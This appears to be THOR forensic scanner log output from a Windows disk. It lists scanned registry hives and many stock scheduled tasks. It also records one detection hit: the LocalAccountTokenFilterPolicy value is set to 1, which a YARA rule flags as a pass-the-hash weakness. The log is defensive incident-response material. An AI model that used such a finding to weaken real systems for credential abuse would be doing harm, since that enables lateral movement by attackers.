Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\BCD-Template
Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\BCD-Template.LOG
Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\COMPONENTS
Sep 10 12:44:27 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\COMPONENTS.LOG1
Sep 10 12:44:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DEFAULT
Sep 10 12:44:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DEFAULT.LOG1
Sep 10 12:44:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DEFAULT.LOG2
Sep 10 12:44:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DRIVERS
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DRIVERS.LOG1
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\DRIVERS.LOG2
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\ELAM
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\ELAM.LOG1
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SAM
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SAM.LOG1
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SAM.LOG2
Sep 10 12:44:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SECURITY
Sep 10 12:44:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SECURITY.LOG1
Sep 10 12:44:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SECURITY.LOG2
Sep 10 12:44:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE
Sep 10 12:44:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: RegistryHive MESSAGE: Notable registry hive entries found SCANID: S-BxzYg1khKSI ENTRY: ROOT\Microsoft\Windows\CurrentVersion\Policies\System;LocalAccountTokenFilterPolicy;1 SCORE: 55 PATH: E:\Windows\System32\config\SOFTWARE KEY: ROOT\Microsoft\Windows\CurrentVersion\Policies\System MODIFIED: Tue Sep  3 12:20:55 2024 REASON_1: YARA rule PTH_Weak_LocalAccountTokenFilterPolicy / Detects reg key allows all local admin group members to logon remotely with highest privileges SUBSCORE_1: 55 REF_1: http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/ SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "\\Microsoft\\Windows\\CurrentVersion\\Policies\\System;LocalAccountTokenFilterPolicy;1" RULEDATE_1: 2017-03-16 TAGS_1: REG, T1112, T1550_002 RULENAME_1: PTH_Weak_LocalAccountTokenFilterPolicy AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Found task location in registry hive SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE TASKPATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks TASKS: 226
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0392E658-5E71-453F-A33B-A0236FF3E4B5} PATH: \Microsoft\Windows\Registry\RegIdleBackup VERSION: 3 CREATED: Sun Jun  2 02:25:40 2024 LAST_RUN: Sat Aug 31 02:33:00 2024 LAST_STOPPED: Sat Aug 31 02:33:00 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0417384C-4378-4E80-99FC-6EBBCBAA3E5C} PATH: \MicrosoftEdgeUpdateTaskMachineCore VERSION: 3 CREATED: Tue Jun  4 02:26:00 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 09:00:41 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0600DD45-FAF2-4131-A006-0B17509B9F78} PATH: \Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 13:10:17 2024 LAST_STOPPED: Tue Sep  3 13:10:17 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0605535E-067C-4445-A999-2158CF515465} PATH: \Microsoft\Windows\WCM\WiFiTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {070B737F-6A39-4088-97A5-7624244F417C} PATH: \Microsoft\Windows\LanguageComponentsInstaller\Installation VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:15:39 2024 LAST_STOPPED: Tue Sep  3 09:15:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {07104CBD-4604-4AFC-A057-F3643CE78AE4} PATH: \Microsoft\Windows\AppxDeploymentClient\UCPD velocity VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:23:53 2024 LAST_STOPPED: Tue Sep  3 09:23:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {077BA067-7C15-40F0-B22E-C9DC2A54B4A2} PATH: \Microsoft\Windows\Location\Notifications VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0A713CE7-5766-4234-8AB7-ED652205B2B6} PATH: \Microsoft\Windows\NlaSvc\WiFiTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0AE55DFD-F51D-40DA-AB08-39B8EC339D10} PATH: \Microsoft\Windows\CloudExperienceHost\CreateObjectTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Jun  4 02:31:08 2024 LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0BB36A32-0D9E-4297-AFD7-6BD7B5DB4C9B} PATH: \Microsoft\Windows\UNP\RunUpdateNotificationMgr VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0BEF9795-816E-4F19-BDB4-7824AE541309} PATH: \Microsoft\Windows\UpdateOrchestrator\Schedule Scan VERSION: 3 CREATED: Tue Jun  4 02:29:05 2024 LAST_RUN: Tue Sep  3 15:13:32 2024 LAST_STOPPED: Tue Sep  3 15:13:33 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0C2C5CC9-C7CE-4F2C-86E2-DB4DAF10E6B2} PATH: \Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan VERSION: 3 CREATED: Wed Aug  7 23:45:04 2024 LAST_RUN: Tue Sep  3 00:33:02 2024 LAST_STOPPED: Tue Sep  3 00:33:02 2024 STATUS: 00000000 LAST_RESULT: 02000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0D4BE8DF-7A6C-4556-BFF6-83F41962C96A} PATH: \Microsoft\Windows\BitLocker\BitLocker MDM policy Refresh VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0DABCC2F-4323-4492-AF06-B4A2F5548414} PATH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskNetwork VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:11 2024 LAST_STOPPED: Tue Sep  3 09:00:22 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0E07F737-03F6-4FF4-9EDA-D9D551D3E90A} PATH: \Microsoft\Windows\Shell\FamilySafetyRefreshTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0E5F08D6-F262-4B80-AE60-4346EBEEF28C} PATH: \Microsoft\Windows\Management\Provisioning\Retry VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {0E869B11-147B-4795-98D3-649FE1E3A990} PATH: \Microsoft\Windows\ApplicationData\DsSvcCleanup VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1169460A-DB63-4AC1-8823-39864DDC78CD} PATH: \Microsoft\Windows\NetTrace\GatherNetworkInfo VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1226FEB2-961D-415E-97B0-55EA0EDE30A9} PATH: \Microsoft\Windows\Shell\ThemesSyncedImageDownload VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:03 2024 STATUS: 00000000 LAST_RESULT: ca080780
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {12847367-24CE-431B-B4BB-2BACBAAC2BD5} PATH: \Microsoft\Windows\Flighting\FeatureConfig\UsageDataReporting VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: Mon Sep  2 22:33:02 2024 LAST_STOPPED: Mon Sep  2 22:33:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {12DF1035-C319-47C9-BDC2-2A761292ACBA} PATH: \Microsoft\Windows\WOF\WIM-Hash-Management VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {14A19FBE-5F4D-4671-9866-6491D5563048} PATH: \Microsoft\Windows\Wininet\CacheTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 08:59:41 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {15101401-21BD-4F19-AE17-20FF4E6CC7C6} PATH: \Microsoft\Windows\RemoteAssistance\RemoteAssistanceTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 12:21:12 2024 LAST_STOPPED: Tue Sep  3 12:21:12 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1666E96D-A00C-49EE-A345-407E2E7CD2B3} PATH: \Microsoft\Windows\CloudRestore\Restore VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {16F7BCDB-6EF9-438D-AD58-C20706600F62} PATH: \Microsoft\Windows\Chkdsk\SyspartRepair VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1828A549-CB66-4F9A-93EA-1A344D573C87} PATH: \Microsoft\Windows\Flighting\OneSettings\RefreshCache VERSION: 3 CREATED: Tue Jul 23 02:48:14 2024 LAST_RUN: Tue Sep  3 17:05:47 2024 LAST_STOPPED: Tue Sep  3 17:05:49 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1905C3A0-3C4E-4691-B066-B55AD8945FF4} PATH: \Microsoft\Windows\MUI\LPRemove VERSION: 3 CREATED: Sun Jun  2 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:09 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1CB045F6-5131-4640-AB74-D47DE86B8A3D} PATH: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Aug 13 20:42:47 2024 LAST_STOPPED: Tue Aug 13 20:42:57 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1EEE1A52-96DA-4186-8E5D-08B49263BBD1} PATH: \Microsoft\Windows\PushToInstall\LoginCheck VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: Tue Sep  3 09:05:39 2024 LAST_STOPPED: Tue Sep  3 09:05:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {1FBB6AC4-2C6B-4A4A-9DD6-1CEEE9E5F0F9} PATH: \Microsoft\Windows\Flighting\FeatureConfig\UsageDataFlushing VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {20565D24-D4B4-40BB-8C14-1AEC9B2EBDF5} PATH: \Microsoft\Windows\GroupPolicy\{A7719E0F-10DB-4640-AD8C-490CC6AD5202} VERSION: 3 CREATED: Thu Jul 25 10:35:09 2024 LAST_RUN: Tue Sep  3 16:40:39 2024 LAST_STOPPED: Tue Sep  3 16:40:44 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {227A35CB-8D58-4DCD-ABED-79F9715C83FC} PATH: \Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: Tue Sep  3 12:20:56 2024 LAST_STOPPED: Tue Sep  3 12:20:57 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {25058A9F-D1FD-4B76-80BD-DC895C6CEC26} PATH: \Microsoft\Windows\Input\MouseSyncDataAvailable VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {25BFB90C-D9C7-41D3-97DA-E3C05E2D4BAE} PATH: \OneDrive Reporting Task-S-1-5-21-2213792943-3978625667-3641601853-1118 VERSION: 3 CREATED: Thu Aug 29 12:17:03 2024 LAST_RUN: Mon Sep  2 13:17:30 2024 LAST_STOPPED: Mon Sep  2 13:18:41 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {264AABAC-D5E5-48BA-8E8C-1B0228413F80} PATH: \Microsoft\Windows\Storage Tiers Management\Storage Tiers Management Initialization VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {27CE9D59-9D48-4D29-99BC-64657AEBA494} PATH: \Microsoft\Windows\Security\Pwdless\IntelligentPwdlessTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {280FB626-96A0-40B9-A33E-86C27A7A8B10} PATH: \Microsoft\Windows\International\Synchronize Language Settings VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:01:09 2024 LAST_STOPPED: Tue Sep  3 09:01:14 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {29EE7F89-D736-4C7B-91CF-768E8BFB5EBF} PATH: \Microsoft\Windows\DeviceDirectoryClient\HandleWnsCommand VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
